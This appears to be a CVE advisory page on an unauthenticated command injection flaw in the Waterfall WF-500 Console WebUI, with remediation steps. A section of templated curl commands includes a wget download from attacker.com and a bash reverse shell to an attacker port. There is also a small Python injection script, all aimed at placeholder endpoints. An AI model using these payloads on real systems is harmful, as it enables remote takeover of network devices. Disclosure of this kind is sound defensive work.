CVE-2025-41275 is an OS command injection vulnerability discovered by Nozomi Networks Labs in the Console WebUI of Waterfall WF-500 TX and RX Hosts. The vulnerability exists because the software fails to properly neutralize special elements used in operating system commands. This allows an attacker to inject arbitrary commands that are then executed with the privileges of the web server process. The flaw resides in the Console WebUI, which is typically exposed on TCP port 443. When the web application receives a request containing user-supplied input, it passes this input directly to a system shell without proper sanitization. An attacker can craft a malicious HTTP request that includes command injection payloads, such as backticks or semicolons, to break out of the intended command context. Once successful, the attacker gains the ability to run arbitrary commands on the device. This can lead to complete system compromise, including reading or modifying files, installing malware, or pivoting to other parts of the network. The vulnerability is particularly severe because it requires no authentication and can be exploited remotely over the network. It affects version 7.9.1.0 R2502171040, and the CVSS 3.1 score is 9.8 (CRITICAL). A fixed version, 7.10.0.0 R2601141040, is available. Administrators are strongly urged to update immediately. Since the Console WebUI might be used for management, organizations should consider restricting access to the management interface using network segmentation or firewall rules as a temporary workaround.
DailyCVE Form:
Platform: Waterfall WF-500
Version: 7.9.1.0 R2502171040
Vulnerability: OS Command Injection
Severity: 9.8 Critical

What Undercode Say:
Check vulnerable version curl -k https://<target-ip>:443/path/to/vulnerable/endpoint Basic injection test curl -k 'https://<target-ip>:443/vulnerable-endpoint?param=<code>id</code>' Proof-of-concept exploit curl -k -X POST -d "input=test; wget http://attacker.com/shell.sh" https://<target-ip>:443/endpoint Reverse shell payload curl -k -X POST -d "input=test; bash -i >& /dev/tcp/attacker-ip/4444 0>&1" https://<target-ip>:443/endpoint
Example Python exploit script:
import requests
target = "https://target-ip"
payload = "test; ls -la"
r = requests.post(f"{target}/vulnerable-endpoint", data={"input": payload}, verify=False)
print(r.text)
Exploit:
Unauthenticated attackers can execute arbitrary OS commands by injecting payloads into the vulnerable parameter. The application fails to sanitize input, passing it directly to a shell. Attackers can use command separators like ;, &, |, or backticks to inject commands. Successful exploitation yields command execution with web server privileges, enabling further compromise.
Protection:
1. Update to version 7.10.0.0 R2601141040 immediately.
- Restrict access to the Console WebUI using firewall rules or network segmentation.
- Monitor logs for suspicious requests containing command injection patterns.
- Deploy a Web Application Firewall (WAF) to filter malicious payloads.
5. Disable the Console WebUI if not required.
Impact:
- Complete system compromise
- Remote code execution
- Data leakage
- Malware installation
- Network pivot point
- Operational disruption
